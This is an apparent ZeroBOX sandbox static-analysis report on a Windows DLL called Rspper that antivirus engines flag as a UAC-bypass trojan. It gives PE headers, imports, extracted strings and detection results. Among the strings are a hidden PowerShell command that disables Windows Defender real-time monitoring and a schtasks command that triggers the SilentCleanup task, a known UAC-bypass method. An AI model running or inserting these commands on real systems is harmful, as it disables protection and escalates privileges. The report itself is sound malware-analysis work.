Static | ZeroBOX

PE Compile Time

2023-01-05 08:02:47

PDB Path

Z:\Rspper\Release\Rspper.pdb

PE Imphash

4318ccee09fca891f79e2432f02ab707

Sections

Name Virtual Address Virtual Size Size of Raw Data Entropy
.text 0x00001000 0x00011454 0x00011600 6.67124858407
.rdata 0x00013000 0x00006cd2 0x00006e00 5.2539701995
.data 0x0001a000 0x000013a8 0x00000a00 2.42953569359
.rsrc 0x0001c000 0x000000f8 0x00000200 2.52495999013
.reloc 0x0001d000 0x00001048 0x00001200 6.21447254617

Resources

Name Offset Size Language Sub-language File type
RT_MANIFEST 0x0001c060 0x00000091 LANG_ENGLISH SUBLANG_ENGLISH_US XML 1.0 document text

Imports

Library KERNEL32.dll:
0x10013014 WinExec
0x10013018 Sleep
0x1001301c CloseHandle
0x10013020 CreateProcessA
0x1001302c GetCurrentProcess
0x10013030 TerminateProcess
0x1001303c GetCurrentProcessId
0x10013040 GetCurrentThreadId
0x10013048 InitializeSListHead
0x1001304c IsDebuggerPresent
0x10013050 GetStartupInfoW
0x10013054 GetModuleHandleW
0x10013058 RtlUnwind
0x1001305c RaiseException
0x10013060 InterlockedFlushSList
0x10013064 GetLastError
0x10013068 SetLastError
0x1001306c EncodePointer
0x10013070 EnterCriticalSection
0x10013074 LeaveCriticalSection
0x10013078 DeleteCriticalSection
0x10013080 TlsAlloc
0x10013084 TlsGetValue
0x10013088 TlsSetValue
0x1001308c TlsFree
0x10013090 FreeLibrary
0x10013094 GetProcAddress
0x10013098 LoadLibraryExW
0x1001309c ExitProcess
0x100130a0 GetModuleHandleExW
0x100130a4 GetModuleFileNameW
0x100130a8 HeapAlloc
0x100130ac HeapFree
0x100130b0 LCMapStringW
0x100130b4 GetStdHandle
0x100130b8 GetFileType
0x100130bc FindClose
0x100130c0 FindFirstFileExW
0x100130c4 FindNextFileW
0x100130c8 IsValidCodePage
0x100130cc GetACP
0x100130d0 GetOEMCP
0x100130d4 GetCPInfo
0x100130d8 GetCommandLineA
0x100130dc GetCommandLineW
0x100130e0 MultiByteToWideChar
0x100130e4 WideCharToMultiByte
0x100130e8 GetEnvironmentStringsW
0x100130f0 GetProcessHeap
0x100130f4 FlushFileBuffers
0x100130f8 WriteFile
0x100130fc GetConsoleCP
0x10013100 GetConsoleMode
0x10013104 SetStdHandle
0x10013108 GetFileSizeEx
0x1001310c SetFilePointerEx
0x10013110 GetStringTypeW
0x10013114 HeapSize
0x10013118 HeapReAlloc
0x1001311c CreateFileW
0x10013120 WriteConsoleW
0x10013124 DecodePointer
Library ADVAPI32.dll:
0x10013000 RegDeleteValueW
0x10013004 RegCloseKey
0x10013008 RegSetValueExW
0x1001300c RegOpenKeyExW

!This program cannot be run in DOS mode.
`.rdata
@.data
@.reloc
QQSVWd
URPQQh]>
;t$,v-
UQPXY]Y[
F4_^[]
<ItC<Lt3<Tt#<h
A<lt'<tt
Wj0XPV
SPjdVQ
zSSSSj
f9:t!V
QQSVj8j@
PPPPPPPP
PPPPPWS
PP9E u:PPVWP
bad allocation
bad exception
__based(
__cdecl
__pascal
__stdcall
__thiscall
__fastcall
__vectorcall
__clrcall
__eabi
__swift_1
__swift_2
__ptr64
__restrict
__unaligned
restrict(
delete
operator
`vftable'
`vbtable'
`vcall'
`typeof'
`local static guard'
`string'
`vbase destructor'
`vector deleting destructor'
`default constructor closure'
`scalar deleting destructor'
`vector constructor iterator'
`vector destructor iterator'
`vector vbase constructor iterator'
`virtual displacement map'
`eh vector constructor iterator'
`eh vector destructor iterator'
`eh vector vbase constructor iterator'
`copy constructor closure'
`udt returning'
`local vftable'
`local vftable constructor closure'
new[]
delete[]
`omni callsig'
`placement delete closure'
`placement delete[] closure'
`managed vector constructor iterator'
`managed vector destructor iterator'
`eh vector copy constructor iterator'
`eh vector vbase copy constructor iterator'
`dynamic initializer for '
`dynamic atexit destructor for '
`vector copy constructor iterator'
`vector vbase copy constructor iterator'
`managed vector copy constructor iterator'
`local static thread guard'
operator ""
operator co_await
operator<=>
Type Descriptor'
Base Class Descriptor at (
Base Class Array'
Class Hierarchy Descriptor'
Complete Object Locator'
`anonymous namespace'
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
InitializeCriticalSectionEx
`h````
xpxxxx
(null)
CorExitProcess
AreFileApisANSI
LCMapStringEx
LocaleNameToLCID
AppPolicyGetProcessTerminationMethod
NAN(SNAN)
nan(snan)
NAN(IND)
nan(ind)
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
January
February
August
September
October
November
December
MM/dd/yy
dddd, MMMM dd, yyyy
HH:mm:ss
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
[aOni*{
~ $s%r
@b;zO]
v2!L.2
1#QNAN
1#SNAN
?5Wg4p
%S#[k=
"B <1=
_hypot
_nextafter
Unknown exception
bad array new length
string too long
Success opening key.
Error opening key.
powershell.exe -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring $true
Success writing to Registry.
Error writing to Registry.
Success closing key.
Error closing key.
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Z:\Rspper\Release\Rspper.pdb
.text$mn
.text$x
.idata$5
.00cfg
.CRT$XCA
.CRT$XCZ
.CRT$XIA
.CRT$XIC
.CRT$XIZ
.CRT$XPA
.CRT$XPX
.CRT$XPXA
.CRT$XPZ
.CRT$XTA
.CRT$XTZ
.rdata
.rdata$r
.rdata$sxdata
.rdata$zzzdbg
.rtc$IAA
.rtc$IZZ
.rtc$TAA
.rtc$TZZ
.xdata$x
.idata$2
.idata$3
.idata$4
.idata$6
.data$r
.rsrc$01
.rsrc$02
CreateProcessA
CloseHandle
WinExec
KERNEL32.dll
RegOpenKeyExW
RegSetValueExW
RegCloseKey
RegDeleteValueW
ADVAPI32.dll
UnhandledExceptionFilter
SetUnhandledExceptionFilter
GetCurrentProcess
TerminateProcess
IsProcessorFeaturePresent
QueryPerformanceCounter
GetCurrentProcessId
GetCurrentThreadId
GetSystemTimeAsFileTime
InitializeSListHead
IsDebuggerPresent
GetStartupInfoW
GetModuleHandleW
RtlUnwind
RaiseException
InterlockedFlushSList
GetLastError
SetLastError
EncodePointer
EnterCriticalSection
LeaveCriticalSection
DeleteCriticalSection
InitializeCriticalSectionAndSpinCount
TlsAlloc
TlsGetValue
TlsSetValue
TlsFree
FreeLibrary
GetProcAddress
LoadLibraryExW
ExitProcess
GetModuleHandleExW
GetModuleFileNameW
HeapAlloc
HeapFree
LCMapStringW
GetStdHandle
GetFileType
FindClose
FindFirstFileExW
FindNextFileW
IsValidCodePage
GetACP
GetOEMCP
GetCPInfo
GetCommandLineA
GetCommandLineW
MultiByteToWideChar
WideCharToMultiByte
GetEnvironmentStringsW
FreeEnvironmentStringsW
GetProcessHeap
FlushFileBuffers
WriteFile
GetConsoleCP
GetConsoleMode
SetStdHandle
GetFileSizeEx
SetFilePointerEx
GetStringTypeW
HeapSize
HeapReAlloc
CreateFileW
WriteConsoleW
DecodePointer
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
.?AVlogic_error@std@@
.?AVlength_error@std@@
.?AVtype_info@@
.?AVbad_exception@std@@
.?AVexception@std@@
.?AVbad_alloc@std@@
.?AVbad_array_new_length@std@@
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
</assembly>
1/1H1o1
242X2b2i2n2
3$323f4o4
567<7[7
9:9?9X9]9j9
</<5<;<A<G<M<T<[<b<i<p<w<~<
="=D=S=\=i=
0!0'090C0
22272J2a2}2
3.474@4N4W4y4
<!<.<P<
?+?S?g?
:g;p=u=
?6?R?r?
000C0k0
1!1+171<1A1_1i1u1z1
142G2e2s2!4X4_4d4h4l4p4
;;$;(;,;0;
;5>O>^>l>x>
?)?7?E?P?f?z?
2I3h4|4
5]6a6e6i6m6q6u6y6a;h;
021K394C4P4
5?5F5U5s5
7E8R8a8v8
9':/:9:B:S:e:t:
?4?O?_?d?n?s?~?
1*1.161B1\1
2*2C2H2t2
8-838E8V8[8`8p8u8z8
9%9K9w9
:?:S:X:]:x:
;8;G;R;W;\;};
<%<*<5<\<n<z<
9g:B;I;q;
<(<A<Z<x<
="=K=`=r=
6;6 8+8d8v8|8#9<9A9J9
:+:2:8:S:Z:
5Y5`5g5n5
6V6~6n8
>.?5???c?
0k0r0y0
1(212I2v2
3&3.3F3}3@4d4
:=:H:V:
;1;C;M;o;
;#<J<k<
1"212?2\2d2
23&3v3
,747k7r7
$2+222O2
5?5Q5c5u5
686J6\6n6
3$4W4w4
6 6?6K6
9D9h9s9
:1;7;<;C;S;a;r;
2A3M3a3m3y3
4/4?4K4Z4m5
646H6S6
:M;X;^;g;
123M3c3y3
0"030a0
,1<1@1D1P1T1X1p1t1x1|1
2 2(20282@2H2P2X2`2h2p2x2
3 3(30383@3H3P3X3`3h3p3x3
4 4(40484@4H4P4X4`4h4p4x4
5 5(50585@5H5P5X5`5h5
> >$>(>,>0>4>8>D>L>T>X>\>`>d>
5 5$5p5t5x5|5
6$6(6,6064686<6@6D6H6L6P6T6X6\6`6d6h6l6p6t6x6|6
60:4:8:<:
1$1,141<1D1L1T1\1d1l1t1|1
2$2,242<2D2L2T2\2d2l2t2|2
3$3,343<3D3L3T3\3d3l3t3|3
4$4,444<4D4L4T4\4d4l4t4|4
5$5,545<5D5L5T5\5d5l5t5|5
6$6,646<6D6L6T6\6d6l6t6|6
7$7,747<7D7L7T7\7d7l7t7|7
2 2(20282@2H2P2X2`2h2p2x2
3 3(30383@3H3P3X3`3h3p3x3
4 4(40484@4H4P4X4`4h4p4x4
5 5(50585@5H5P5X5`5h5p5x5
6 6(60686@6H6P6X6`6h6p6x6
7 7(70787@7H7P7X7`7h7p7x7
8 8(80888@8H8P8X8`8h8p8x8
6$6,646<6D6L6T6\6d6l6t6|6\:`:h:
; ;0;4;D;H;L;P;X;p;
<$<,<D<H<`<d<|<
0 0(00040<0P0X0`0h0l0p0x0
1,101P1X1\1x1
2 2(20242<2P2p2
303P3p3
404P4p4
505P5p5
81h1x1
1(7,7074787<7@7D7H7L7X7\7`7d7h7l7p7t7
Washington1
Redmond1
Microsoft Corporation1(0&
Microsoft Code Signing PCA 20110
210902183300Z
220901183300Z0t1
Washington1
Redmond1
Microsoft Corporation1
Microsoft Corporation0
z*Xfb/B
I0G1-0+
$Microsoft Ireland Operations Limited1
230012+4675980
Chttp://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a
Ehttp://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0
LU%)07Y
{\.g\(#l);!|&:
Washington1
Redmond1
Microsoft Corporation1200
)Microsoft Root Certificate Authority 20110
110708205909Z
260708210909Z0~1
Washington1
Redmond1
Microsoft Corporation1(0&
Microsoft Code Signing PCA 20110
Ihttp://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^
Bhttp://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0
3http://www.microsoft.com/pkiops/docs/primarycps.htm0@
*?*kXIc
QEX82q'
WqVNHE
Washington1
Redmond1
Microsoft Corporation1(0&
Microsoft Code Signing PCA 2011
https://www.microsoft.com 0
20220119221507.54Z0
Washington1
Redmond1
Microsoft Corporation1%0#
Microsoft America Operations1&0$
Thales TSS ESN:49BC-E37A-233C1%0#
Microsoft Time-Stamp Service
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 20100
201112182557Z
220211182557Z0
Washington1
Redmond1
Microsoft Corporation1%0#
Microsoft America Operations1&0$
Thales TSS ESN:49BC-E37A-233C1%0#
Microsoft Time-Stamp Service0
Ehttp://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z
>http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0
%BHA,DR
Washington1
Redmond1
Microsoft Corporation1200
)Microsoft Root Certificate Authority 20100
100701213655Z
250701214655Z0|1
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 20100
$`2X`F
Ehttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z
>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0
1http://www.microsoft.com/PKI/docs/CPS/default.htm0@
oK0D$"<
r~akow
Washington1
Redmond1
Microsoft Corporation1%0#
Microsoft America Operations1&0$
Thales TSS ESN:49BC-E37A-233C1%0#
Microsoft Time-Stamp Service
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 20100
20220120011510Z
20220121011510Z0t0:
4QS%ws
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 2010
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 2010
api-ms-win-core-fibers-l1-1-1
api-ms-win-core-synch-l1-2-0
kernel32
api-ms-
(null)
mscoree.dll
api-ms-win-core-datetime-l1-1-1
api-ms-win-core-file-l1-2-2
api-ms-win-core-localization-l1-2-1
api-ms-win-core-localization-obsolete-l1-2-0
api-ms-win-core-processthreads-l1-1-2
api-ms-win-core-string-l1-1-0
api-ms-win-core-sysinfo-l1-2-1
api-ms-win-core-winrt-l1-1-0
api-ms-win-core-xstate-l2-1-0
api-ms-win-rtcore-ntuser-window-l1-1-0
api-ms-win-security-systemfunctions-l1-1-0
ext-ms-win-ntuser-dialogbox-l1-1-0
ext-ms-win-ntuser-windowstation-l1-1-0
advapi32
api-ms-win-appmodel-runtime-l1-1-2
user32
ext-ms-
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
January
February
August
September
October
November
December
MM/dd/yy
dddd, MMMM dd, yyyy
HH:mm:ss
((((( H
zh-CHS
az-AZ-Latn
uz-UZ-Latn
kok-IN
syr-SY
div-MV
quz-BO
sr-SP-Latn
az-AZ-Cyrl
uz-UZ-Cyrl
quz-EC
sr-SP-Cyrl
quz-PE
smj-NO
bs-BA-Latn
smj-SE
sr-BA-Latn
sma-NO
sr-BA-Cyrl
sma-SE
sms-FI
smn-FI
zh-CHT
az-az-cyrl
az-az-latn
bs-ba-latn
div-mv
kok-in
quz-bo
quz-ec
quz-pe
sma-no
sma-se
smj-no
smj-se
smn-fi
sms-fi
sr-ba-cyrl
sr-ba-latn
sr-sp-cyrl
sr-sp-latn
syr-sy
uz-uz-cyrl
uz-uz-latn
zh-chs
zh-cht
CONOUT$
gEnvironment
windir
powershell.exe -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring $true
Legal_policy_statement
0Windows Update Assistan
Legal_Policy_Statement
Antivirus Signature
Bkav Clean
Lionic Trojan.Multi.Generic.4!c
Elastic malicious (moderate confidence)
DrWeb Clean
MicroWorld-eScan Trojan.GenericKD.64961909
ClamAV Clean
FireEye Trojan.GenericKD.64961909
CAT-QuickHeal Clean
ALYac Trojan.GenericKD.64961909
Cylance Unsafe
VIPRE Trojan.GenericKD.64961909
Sangfor Trojan.Win32.Bypassuac.V2q6
K7AntiVirus Trojan ( 0059d64c1 )
BitDefender Trojan.GenericKD.64961909
K7GW Trojan ( 0059d64c1 )
CrowdStrike win/malicious_confidence_100% (W)
BitDefenderTheta Clean
VirIT Clean
Cyren W32/ABRisk.IYDL-7328
Symantec ML.Attribute.HighConfidence
tehtris Clean
ESET-NOD32 Win32/Agent.AFAV
APEX Malicious
Paloalto Clean
Cynet Malicious (score: 99)
Kaspersky Trojan.Win32.BypassUAC.adx
Alibaba Trojan:Win32/BypassUAC.ecfc4718
NANO-Antivirus Clean
ViRobot Clean
Rising Trojan.BypassUAC!8.EC23 (TFE:5:nRdGDLjv9nC)
Sophos Mal/Generic-S
F-Secure Trojan.TR/BypassUAC.jyidx
Baidu Clean
Zillya Exploit.UAC.Win32.678
TrendMicro TROJ_GEN.R002C0PA723
McAfee-GW-Edition RDN/Generic.dx
Trapmine malicious.moderate.ml.score
CMC Clean
Emsisoft Trojan.GenericKD.64961909 (B)
SentinelOne Clean
GData Trojan.GenericKD.64961909
Jiangmin Trojan.BypassUAC.ct
Webroot Clean
Avira TR/BypassUAC.jyidx
MAX malware (ai score=86)
Antiy-AVL Trojan/Win32.Agent
Kingsoft Win32.Troj.Generic_a.a.(kcloud)
Gridinsoft Clean
Xcitium Clean
Arcabit Trojan.Generic.D3DF3D75
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Trojan:Win32/Wacatac.B!ml
Google Detected
AhnLab-V3 Trojan/Win.Generic.R550611
Acronis Clean
McAfee Artemis!E8BAB18BED7A
TACHYON Clean
VBA32 Clean
Malwarebytes Trojan.Agent
Panda Trj/Chgt.AA
Zoner Clean
TrendMicro-HouseCall TROJ_GEN.R002C0PA723
Tencent Malware.Win32.Gencirc.10bdc409
Yandex Clean
Ikarus Trojan.Win32.Agent
MaxSecure Clean
Fortinet W32/PossibleThreat
AVG Win32:TrojanX-gen [Trj]
Avast Win32:TrojanX-gen [Trj]
No IRMA results available.